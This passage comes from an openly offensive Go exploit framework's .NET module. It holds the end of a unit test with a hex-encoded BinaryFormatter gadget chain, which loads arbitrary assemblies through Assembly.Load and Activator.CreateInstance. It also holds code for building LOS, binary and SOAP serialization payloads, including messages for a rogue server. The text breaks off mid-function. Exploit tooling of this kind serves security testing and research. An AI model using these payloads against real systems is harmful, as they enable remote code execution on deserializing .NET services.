547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d04000000092200000010140000000700000009050000000a092c0000000a0808000000000a08080100000001150000000f000000062d000000e60253797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d0400000009220000001016000000070000000906000000093000000009310000000a0808000000000a08080100000001170000000f0000000632000000ef0153797374656d2e4c696e712e456e756d657261626c652b576865726553656c656374456e756d657261626c654974657261746f7260325b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e4f626a6563742c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d04000000092200000010180000000700000009070000000a09350000000a0808000000000a08080100000001190000000f00000006360000002953797374656d2e5765622e55492e576562436f6e74726f6c732e506167656444617461536f757263650400000006370000004d53797374656d2e5765622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62303366356637663131643530613361101a00000007000000090800000008080000000008080a000000080100080100080100080800000000011b0000000f00000006390000002953797374656d2e436f6d706f6e656e744d6f64656c2e44657369676e2e44657369676e65725665726204000000063a0000004953797374656d2c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839101c000000050000000d02093b000000080803000000090b000000011d0000000f000000063d0000003453797374656d2e52756e74696d652e52656d6f74696e672e4368616e6e656c732e41676772656761746544696374696f6e61727904000000063e0000004b6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839101e000000010000000909000000101f00000002000000090a000000090a000000102000000002000000064100000000094100000004240000002253797374656d2e44656c656761746553657269616c697a6174696f6e486f6c646572020000000844656c6567617465076d6574686f643003033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e7472792f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c6465720942000000094300000001280000002400000009440000000945000000012c000000240000000946000000094700000001300000002400000009480000000949000000013100000024000000094a000000094b000000013500000024000000094c000000094d000000013b00000004000000094e000000094f00000004420000003053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e74727907000000047479706508617373656d626c79067461726765741274617267657454797065417373656d626c790e746172676574547970654e616d650a6d6574686f644e616d650d64656c6567617465456e747279010102010101033053797374656d2e44656c656761746553657269616c697a6174696f6e486f6c6465722b44656c6567617465456e7472790650000000d50153797374656d2e46756e6360325b5b53797374656d2e427974655b5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e5265666c656374696f6e2e417373656d626c792c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e00000006520000001a53797374656d2e5265666c656374696f6e2e417373656d626c790653000000044c6f61640a04430000002f53797374656d2e5265666c656374696f6e2e4d656d626572496e666f53657269616c697a6174696f6e486f6c64657207000000044e616d650c417373656d626c794e616d6509436c6173734e616d65095369676e61747572650a5369676e6174757265320a4d656d626572547970651047656e65726963417267756d656e747301010101010003080d53797374656d2e547970655b5d0953000000093e000000095200000006560000002753797374656d2e5265666c656374696f6e2e417373656d626c79204c6f616428427974655b5d2906570000002e53797374656d2e5265666c656374696f6e2e417373656d626c79204c6f61642853797374656d2e427974655b5d29080000000a0144000000420000000658000000cc0253797374656d2e46756e6360325b5b53797374656d2e5265666c656374696f6e2e417373656d626c792c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e0000000952000000065b0000000847657454797065730a014500000043000000095b000000093e0000000952000000065e0000001853797374656d2e547970655b5d2047657454797065732829065f0000001853797374656d2e547970655b5d2047657454797065732829080000000a0146000000420000000660000000b60353797374656d2e46756e6360325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e0000000662000000840153797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261626c6560315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d06630000000d476574456e756d657261746f720a0147000000430000000963000000093e000000096200000006660000004553797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b53797374656d2e547970655d20476574456e756d657261746f7228290667000000940153797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d20476574456e756d657261746f722829080000000a0148000000420000000668000000c00253797374656d2e46756e6360325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e426f6f6c65616e2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e000000066a0000001e53797374656d2e436f6c6c656374696f6e732e49456e756d657261746f72066b000000084d6f76654e6578740a014900000043000000096b000000093e000000096a000000066e00000012426f6f6c65616e204d6f76654e6578742829066f0000001953797374656d2e426f6f6c65616e204d6f76654e6578742829080000000a014a000000420000000670000000bd0253797374656d2e46756e6360325b5b53797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d2c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e0000000672000000840153797374656d2e436f6c6c656374696f6e732e47656e657269632e49456e756d657261746f7260315b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d06730000000b6765745f43757272656e740a014b000000430000000973000000093e000000097200000006760000001953797374656d2e54797065206765745f43757272656e74282906770000001953797374656d2e54797065206765745f43757272656e742829080000000a014c000000420000000678000000c60153797374656d2e46756e6360325b5b53797374656d2e547970652c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d2c5b53797374656d2e4f626a6563742c206d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623737613563353631393334653038395d5d093e0000000a093e000000067a0000001053797374656d2e416374697661746f72067b0000000e437265617465496e7374616e63650a014d00000043000000097b000000093e000000097a000000067e0000002953797374656d2e4f626a65637420437265617465496e7374616e63652853797374656d2e5479706529067f0000002953797374656d2e4f626a65637420437265617465496e7374616e63652853797374656d2e5479706529080000000a014e0000000f00000006800000002653797374656d2e436f6d706f6e656e744d6f64656c2e44657369676e2e436f6d6d616e64494404000000093a000000104f00000002000000098200000008080020000004820000000b53797374656d2e477569640b000000025f61025f62025f63025f64025f65025f66025f67025f68025f69025f6a025f6b000000000000000000000008070702020202020202021313d274ee2ad1118bfb00a0c90f26f70b0b" { t.Fatalf("Invalid CreateAxHostStateDLL output... val: %q hexform: %02x\n", got, got) } } func TestPrimToString(t *testing.T) { got := PrimitiveInt16(10990).PrimToString() // expected hex ref ee if fmt.Sprintf("%02x", got) != "ee2a" { t.Fatalf("Invalid PrimToString output... val: %q hexform: %02x\n", got, got) } } ================================================ FILE: dotnet/formatters.go ================================================ //nolint:musttag package dotnet import ( _ "embed" "encoding/xml" "fmt" "strconv" "strings" "github.com/vulncheck-oss/go-exploit/output" ) //go:embed data/ReturnMessage.xml var returnMessageSnippet string const ( LOSFormatter = "LOSFormatter" BinaryFormatter = "BinaryFormatter" SOAPFormatter = "SOAPFormatter" SOAPFormatterWithExceptions = "SOAPFormatterWithExceptions" ) func FormatLOS(input string) string { marker := "\xff" version := "\x01" token := string(byte(50)) return marker + version + token + lengthPrefixedString(input) } // SOAP Formatter types and funcs. type SOAPEnvelope struct { XMLName xml.Name `xml:"SOAP-ENV:Envelope"` // Specify the XML name with namespace Body Body `xml:"SOAP-ENV:Body"` // Nested struct for Body Xsi string `xml:"xmlns:xsi,attr"` Xsd string `xml:"xmlns:xsd,attr"` SoapEnc string `xml:"xmlns:SOAP-ENC,attr"` SoapEnv string `xml:"xmlns:SOAP-ENV,attr"` Clr string `xml:"xmlns:clr,attr"` EncodingStyle string `xml:"SOAP-ENV:encodingStyle,attr"` } type Body struct { Classes []any } type ClassDataNode struct { // dynamic element, needs everything defined manually XMLName xml.Name ID string `xml:"id,attr"` Attrs []xml.Attr `xml:",attr"` Content string `xml:",chardata"` MemberNodes []any } type MemberNode struct { XMLName xml.Name ID string `xml:"id,attr,omitempty"` HREF string `xml:"href,attr,omitempty"` XsiType string `xml:"xsi:type,attr,omitempty"` XsiNull string `xml:"xsi:null,attr,omitempty"` Content string `xml:",innerxml"` Attrs []xml.Attr `xml:",attr"` } func (memberNode *MemberNode) addAttribute(name string, value string) { memberNode.Attrs = append(memberNode.Attrs, xml.Attr{ Name: xml.Name{Local: name}, Value: value, }) } func (classData *ClassDataNode) addAttribute(name string, value string) { classData.Attrs = append(classData.Attrs, xml.Attr{ Name: xml.Name{Local: name}, Value: value, }) } func escapeTags(input string) string { // escaping only < and >, without this it encodes more than we'd like. this may cause issues but will address as needed escaped := strings.ReplaceAll(input, "<", "<") return strings.ReplaceAll(escaped, ">", ">") } func (body *Body) addClassWithMemberAndTypes(n int, record ClassWithMembersAndTypesRecord) bool { baseClassName := record.ClassInfo.GetBaseClassName() classData := ClassDataNode{} ns := fmt.Sprintf("a%d", n) classData.XMLName.Local = fmt.Sprintf("%s:%s", ns, baseClassName) classData.ID = fmt.Sprintf("ref-%d", record.ClassInfo.ObjectID) // id attr set libURL := fmt.Sprintf("http://schemas.microsoft.com/clr/nsassem/%s/%s", record.ClassInfo.GetLeadingClassName(), record.BinaryLibrary.Library) // xmlns:aN attr value classData.addAttribute("xmlns:"+ns, libURL) //xmlns:aN attr set // add members to the classData, makes a new element for each member memberCount := record.ClassInfo.MemberCount if memberCount != len(record.ClassInfo.MemberNames) || memberCount != len(record.MemberTypeInfo.BinaryTypes) { output.PrintfFrameworkError("member count mismatch: memberNames %q , binaryTypes %q, memberCount %d", record.ClassInfo.MemberNames, record.MemberTypeInfo.BinaryTypes, memberCount) return false } for memberN := range memberCount { recordMember, ok := record.MemberValues[memberN].(Record) if ok { memberNode, ok := recordMember.ToXML(record.ClassInfo, record.MemberTypeInfo, record.BinaryLibrary, memberN, ns) if !ok { output.PrintFrameworkError("Failed to process record into XML") return false } classData.MemberNodes = append(classData.MemberNodes, memberNode) continue } intValue, ok := record.MemberValues[memberN].(int) if ok { memberNode := MemberNode{} memberNode.XMLName.Local = record.ClassInfo.MemberNames[memberN] memberNode.Content = strconv.Itoa(intValue) classData.MemberNodes = append(classData.MemberNodes, memberNode) continue } boolValue, ok := record.MemberValues[memberN].(bool) if ok { memberNode := MemberNode{} memberNode.XMLName.Local = record.ClassInfo.MemberNames[memberN] memberNode.Content = strconv.FormatBool(boolValue) classData.MemberNodes = append(classData.MemberNodes, memberNode) continue } output.PrintFrameworkError("Invalid or unsupported member value provided") } // wrapping it up body.Classes = append(body.Classes, classData) return true } func FormatSOAP(records []Record) (string, SOAPEnvelope, bool) { envelope := SOAPEnvelope{ Xsi: "http://www.w3.org/2001/XMLSchema-instance", Xsd: "http://www.w3.org/2001/XMLSchema", SoapEnc: "http://schemas.xmlsoap.org/soap/encoding/", SoapEnv: "http://schemas.xmlsoap.org/soap/envelope/", Clr: "http://schemas.microsoft.com/soap/encoding/clr/1.0", EncodingStyle: "http://schemas.xmlsoap.org/soap/encoding/", } body := Body{} for n, record := range records { arraySingleStringRecord, ok := record.(ArraySinglePrimitiveRecord) if ok { arrayClassDataNode, _ := arraySingleStringRecord.ToXMLBespoke() body.Classes = append(body.Classes, arrayClassDataNode) } classWithMembersAndTypes, ok := record.(ClassWithMembersAndTypesRecord) if ok { if !body.addClassWithMemberAndTypes(n+1, classWithMembersAndTypes) { return "", SOAPEnvelope{}, false } } systemClassWithMembersAndTypes, ok := record.(SystemClassWithMembersAndTypesRecord) if ok { mscorlib := "mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" // convert it to the non-system because it's basically the same thing but soap format needs a library binLib := BinaryLibraryRecord{Library: mscorlib} // hardcoded lib, don't need an ID because it won't get used tempClassRecord := ClassWithMembersAndTypesRecord{ ClassInfo: systemClassWithMembersAndTypes.ClassInfo, MemberTypeInfo: systemClassWithMembersAndTypes.MemberTypeInfo, MemberValues: systemClassWithMembersAndTypes.MemberValues, BinaryLibrary: binLib, } if !body.addClassWithMemberAndTypes(n+1, tempClassRecord) { return "", SOAPEnvelope{}, false } } } envelope.Body = body xmlData, err := xml.Marshal(envelope) if err != nil { output.PrintfFrameworkError("Error marshaling to XML: %s", err) return "", SOAPEnvelope{}, false } output.PrintfFrameworkDebug("Generated via SOAPFormatter: %s", string(xmlData)) return string(xmlData), envelope, true } // used for rogue reporting server SOAP messages. func FormatSOAPWithExceptions(records []Record) (string, bool) { xmlData, _, ok := FormatSOAP(records) if !ok { return "", false } // quick and dirty replace but it's a static string, so should be fine. we're just adding them as a member of the body xmlData = strings.ReplaceAll(xmlData, "", ""+returnMessageSnippet) return xmlData, true } ================================================ FILE: dotnet/general_types.go ================================================ package dotnet import ( "strings" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/transform" ) // Primitives are a data type that can be one of a few different types. // This implemented has been implementede on the ones that we have used so far. // These are generally added as additionalinfo when there is a BinaryTypeEnum value passed // as a member type for Primitive. type Primitive interface { PrimToString() string } type ( PrimitiveInt16 int PrimitiveInt32 int PrimitiveByte byte PrimitiveByteString string ) func (me PrimitiveInt16) PrimToString() string { return transform.PackLittleInt16(int(me)) } // A placeholder for lesser-used objects such as Single // Whatever you give it, will be placed in the stream exactly as given // Can't just pass a string because it will get 'processed' as a lengthPrefixedString, this avoids that. func (me PrimitiveByteString) PrimToString() string { return string(me) } func (me PrimitiveInt32) PrimToString() string { return transform.PackLittleInt32(int(me)) } func (me PrimitiveByte) PrimToString() string { b := []byte{byte(me)} return string(b) } // Serialized objects are basically classes that are defined by a series of RecordTypes. // All existing record types are defined here though all are not used for our purposes. // ref https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/954a0657-b901-4813-9398-4ec732fe8b32 var RecordTypeEnumMap = map[string]int{ "SerializedStreamHeader": 0, "ClassWithId": 1, "SystemClassWithMembers": 2, "ClassWithMembers": 3, "SystemClassWithMembersAndTypes": 4, "ClassWithMembersAndTypes": 5, "BinaryObjectString": 6, "BinaryArray": 7, "MemberPrimitiveTyped": 8, "MemberReference": 9, "ObjectNull": 10, "MessageEnd": 11, "BinaryLibrary": 12, "ObjectNullMultiple256": 13, "ObjectNullMultiple": 14, "ArraySinglePrimitive": 15, "ArraySingleObject": 16, "ArraySingleString": 17, "MethodCall": 21, "MethodReturn": 22, } // Binary type information that is used to define the type of each member of the class being defined. var BinaryTypeEnumerationMap = map[string]int{ "Primitive": 0, // Needs Add Info "String": 1, "Object": 2, "SystemClass": 3, // Needs Add Info "Class": 4, // Needs Add Info "ObjectArray": 5, "StringArray": 6, "PrimitiveArray": 7, // Needs Add Info } // The Primitive Type, must be added to additionalInfo array for each primitive class member that was defined in MemberTypes for a given object. // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/4e77849f-89e3-49db-8fb9-e77ee4bc7214 var PrimitiveTypeEnum = map[string]int{ "Boolean": 1, "Byte": 2, "Char": 3, // there is no 4 per https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/4e77849f-89e3-49db-8fb9-e77ee4bc7214 "Decimal": 5, "Double": 6, "Int16": 7, "Int32": 8, "Int64": 9, "SByte": 10, "Single": 11, "TimeSpan": 12, "DateTime": 13, "UInt16": 14, "UInt32": 15, "UInt64": 16, "Null": 17, "String": 18, } // Contains metadata about a class, used for ClassWithMembersAndTypesRecords and SystemClassWithMembersAndTypesRecords. type ClassInfo struct { ObjectID int // Needs to be length-prefixed when used Name string // should match len(MemberNames) MemberCount int // Exactly what it sounds like. MemberNames []string } // Class library metadata, sometimes used as additionalinfo value to define the library a class belongs to. // This is used when a Class is a membervalue for another class. type ClassTypeInfo struct { TypeName string LibraryID int } // Defines the types and additional info about the members themselves. used for ClassWithMembersAndTypesRecords and SystemClassWithMembersAndTypesRecords // ref: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/aa509b5a-620a-4592-a5d8-7e9613e0a03e type MemberTypeInfo struct { BinaryTypeEnums []int BinaryTypes []string // for convenience not part of the 'official' data structure per MSDN AdditionalInfos []any } // Self-explanatory, checks if given BinaryTypeEnum expects additionalInfo so that the function can retrieve a value from that array. func needsAdditionalInfo(inType string) bool { switch inType { case "Class": return true case "SystemClass": return true case "Primitive": return true case "PrimitiveArray": return true default: return false } } // This is Basically a constructor to build MemberTypeInfo into a binary string as expected by the serialization format. // This uses a constructor because there is validation we want to perform such as length checking and ensuring the provided types are valid. // ref: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/aa509b5a-620a-4592-a5d8-7e9613e0a03e func getMemberTypeInfo(memberTypes []string, memberNames []string, additionalInfo []any) (MemberTypeInfo, bool) { // NOTE: the members param is just being used here for length validation since it's a separate object from the corresponding ClassInfo if len(memberNames) != len(memberTypes) { output.PrintFrameworkError("Length mismatch between memberTypes and members in getMemberTypeInfo()") return MemberTypeInfo{}, false } addInfoIndex := 0 memberTypeInfo := MemberTypeInfo{} var additionalInfos []any memberTypeInfo.AdditionalInfos = additionalInfos // build the binary array string of binarytypeenums, which will basically be of type []byte{type0,type1,typeN} for _, memberType := range memberTypes { val, ok := BinaryTypeEnumerationMap[memberType] // Ensuring that they're valid types if !ok { output.PrintfFrameworkError("Failed to build MemberTypeInfo string: Invalid member type provided: %s, names: %q , all types: %s", memberType, memberNames, memberTypes) return MemberTypeInfo{}, false } memberTypeInfo.BinaryTypes = append(memberTypeInfo.BinaryTypes, memberType) memberTypeInfo.BinaryTypeEnums = append(memberTypeInfo.BinaryTypeEnums, val) if needsAdditionalInfo(memberType) { if len(additionalInfo) < addInfoIndex+1 { output.PrintfFrameworkError("Failed to build MemberTypeInfo string: Not enough additionalInfo values provided: %s", memberType) return MemberTypeInfo{}, false } addInfo := additionalInfo[addInfoIndex] addInfoIndex++ memberTypeInfo.AdditionalInfos = append(memberTypeInfo.AdditionalInfos, addInfo) } } return memberTypeInfo, true } // Gives us the expected expected binary string representation. // MemberTypeInfo output order: byteTypeEnums[]byte + []AdditionalInfo. func (memberTypeInfo MemberTypeInfo) ToBin() (string, bool) { // build the array of binarytypeenums var binTypeEnumsBuilder strings.Builder for _, v := range memberTypeInfo.BinaryTypeEnums { binTypeEnumsBuilder.WriteString(string(byte(v))) } dataSequence := binTypeEnumsBuilder.String() for _, addInfo := range memberTypeInfo.AdditionalInfos { if addInfo == nil { output.PrintFrameworkError("Nil additional info provided") return "", false } typeInt, ok := addInfo.(int) // it seems these are primitive type enum values if ok { dataSequence += string(byte(typeInt)) continue } stringInput, ok := addInfo.(string) if ok { dataSequence += lengthPrefixedString(stringInput) continue } // handling ClassTypeInfo used for 'Class' type classTypeInfo, ok := addInfo.(ClassTypeInfo) if ok { dataSequence += lengthPrefixedString(classTypeInfo.TypeName) dataSequence += transform.PackLittleInt32(classTypeInfo.LibraryID) continue } output.PrintfFrameworkError("Unsupported additional info type provided %q", addInfo) return "", false } return dataSequence, true } // returns all but the last item in the class name // obj.Name = "Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties" // obj.GetLeadingClassName(className) == "Microsoft.VisualStudio.Text.Formatting". func (classInfo ClassInfo) GetLeadingClassName() string { split := strings.Split(classInfo.Name, ".") sLen := len(split) if sLen < 2 { output.PrintfFrameworkWarn("Class name does not contain '.' character, entire value returned for GetLeadingClassName(). Name=%s, len %d", classInfo.Name, sLen) return classInfo.Name } return strings.Join(split[:len(split)-1], ".") } // returns only the last item in the class name // obj.Name = "Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties" // obj.GetLeadingClassName(className) == "TextFormattingRunProperties". func (classInfo ClassInfo) GetBaseClassName() string { split := strings.Split(classInfo.Name, ".") sLen := len(split) if sLen == 0 { output.PrintfFrameworkWarn("Class name does not contain '.' character, entire value returned for GetBaseClassName(). Name=%s, len %d", classInfo.Name, sLen) return classInfo.Name } return split[sLen-1] } // Gives us the expected expected binary string representation. // ref: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/0a192be0-58a1-41d0-8a54-9c91db0ab7bf func (classInfo ClassInfo) ToBin() string { objectIDString := transform.PackLittleInt32(classInfo.ObjectID) memberCountString := transform.PackLittleInt32(len(classInfo.MemberNames)) var memberNamesStringBuilder strings.Builder for _, memberName := range classInfo.MemberNames { memberNamesStringBuilder.WriteString(lengthPrefixedString(memberName)) } memberNamesString := memberNamesStringBuilder.String() return objectIDString + lengthPrefixedString(classInfo.Name) + memberCountString + memberNamesString } ================================================ FILE: dotnet/records.go ================================================ package dotnet import ( "encoding/base64" "fmt" "strings" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/transform" ) type Record interface { GetRecordType() int ToRecordBin() (string, bool) // TOXML impls, exist to convert a given record into the expected SOAP XML element for the SOAP formatter. Not all records have been implemented. ToXML(ClassInfo, MemberTypeInfo, BinaryLibraryRecord, int, string) (MemberNode, bool) } type MemberPrimitiveTypedRecord struct { PrimitiveTypeEnum int Value Primitive } type BinaryArrayRecord struct { ObjectID int BinaryArrayTypeEnum int // 1byte Rank int Lengths []int LowerBounds []int TypeEnum int // 1byte AdditionalTypeInfo []any } type ClassWithIDRecord struct { ObjectID int MetadataID int MemberValues []any } type BinaryLibraryRecord struct { ID int Library string } type SystemClassWithMembersAndTypesRecord struct { ClassInfo ClassInfo MemberTypeInfo MemberTypeInfo MemberValues []any } type ClassWithMembersAndTypesRecord struct { ClassInfo ClassInfo MemberTypeInfo MemberTypeInfo LibraryID int MemberValues []any BinaryLibrary BinaryLibraryRecord // Not _really_ supposed to be here per MSDN but I placed it here for convenience } type SerializationHeaderRecord struct { HeaderID int RootID int } type MemberReferenceRecord struct { IDRef int } type ObjectNullMultiple256Record struct { NullCount int } type ObjectNullRecord struct{} type BinaryObjectString struct { ObjectID int Value string } type ArrayInfo struct { ObjectID int MemberCount int } type ArraySinglePrimitiveRecord struct { PrimitiveTypeEnum int ArrayInfo ArrayInfo Members string // this will be a hex byte string "\x00\xwhatever" } type ArraySingleStringRecord struct { ArrayInfo ArrayInfo Members []any } type ArraySingleObjectRecord struct { ArrayInfo ArrayInfo Members []any } func (objectNullMultiple256Record ObjectNullMultiple256Record) GetRecordType() int { return RecordTypeEnumMap["ObjectNullMultiple256"] } func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) GetRecordType() int { return RecordTypeEnumMap["ArraySinglePrimitive"] } func (binaryArrayRecord BinaryArrayRecord) GetRecordType() int { return RecordTypeEnumMap["BinaryArray"] } func (arraySingleObjectRecord ArraySingleObjectRecord) GetRecordType() int { return RecordTypeEnumMap["ArraySingleObject"] } func (arraySingleStringRecord ArraySingleStringRecord) GetRecordType() int { return RecordTypeEnumMap["ArraySingleString"] } func (classWithIDRecord ClassWithIDRecord) GetRecordType() int { return RecordTypeEnumMap["ClassWithId"] } func (binaryObjectString BinaryObjectString) GetRecordType() int { return RecordTypeEnumMap["BinaryObjectString"] } func (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) GetRecordType() int { return RecordTypeEnumMap["ClassWithMembersAndTypes"] } func (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTypesRecord) GetRecordType() int { return RecordTypeEnumMap["SystemClassWithMembersAndTypes"] } func (serializationHeaderRecord SerializationHeaderRecord) GetRecordType() int { return RecordTypeEnumMap["SerializedStreamHeader"] } func (binaryLibraryRecord BinaryLibraryRecord) GetRecordType() int { return RecordTypeEnumMap["BinaryLibrary"] } func (memberReferenceRecord MemberReferenceRecord) GetRecordType() int { return RecordTypeEnumMap["MemberReference"] } func (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) GetRecordType() int { return RecordTypeEnumMap["MemberPrimitiveTyped"] } func (objectNullRecord ObjectNullRecord) GetRecordType() int { return RecordTypeEnumMap["ObjectNull"] } // This one is different from the other recordbecause it usually is not processed within the 'context' of the member values, and needs to be called with information that is not present. // These records are usually appended outside of the membervalues. func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToXMLBespoke() (ClassDataNode, bool) { classDataNode := ClassDataNode{} classDataNode.XMLName.Local = "SOAP-ENC:Array" classDataNode.ID = fmt.Sprintf("ref-%d", arraySinglePrimitiveRecord.ArrayInfo.ObjectID) classDataNode.addAttribute("xsi:type", "SOAP-ENC:base64") // encode to match xsi:type b64Content := make([]byte, base64.StdEncoding.EncodedLen(len(arraySinglePrimitiveRecord.Members))) base64.StdEncoding.Encode(b64Content, []byte(arraySinglePrimitiveRecord.Members)) b64MemberContent := string(b64Content) classDataNode.Content = b64MemberContent return classDataNode, true } func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) { output.PrintFrameworkError("ToXML for ArraySingleStringRecord cannot be used, call .ToXMLBespoke() instead. Note: uses different parameters.") return MemberNode{}, false } func (objectNullMultiple256Record ObjectNullMultiple256Record) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) { output.PrintFrameworkError("ToXML for ObjectNullMultiple256Record not yet implemented") return MemberNode{}, false } func (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) { output.PrintFrameworkError("ToXML for MemberPrimitiveTypedRecord not yet implemented") return MemberNode{}, false } func (binaryArrayRecord BinaryArrayRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) { output.PrintFrameworkError("ToXML for BinaryArrayRecord not yet implemented") return MemberNode{}, false } func (arraySingleObjectRecord ArraySingleObjectRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) { output.PrintFrameworkError("ToXML for ArraySingleObjectRecord not yet implemented") return MemberNode{}, false } func 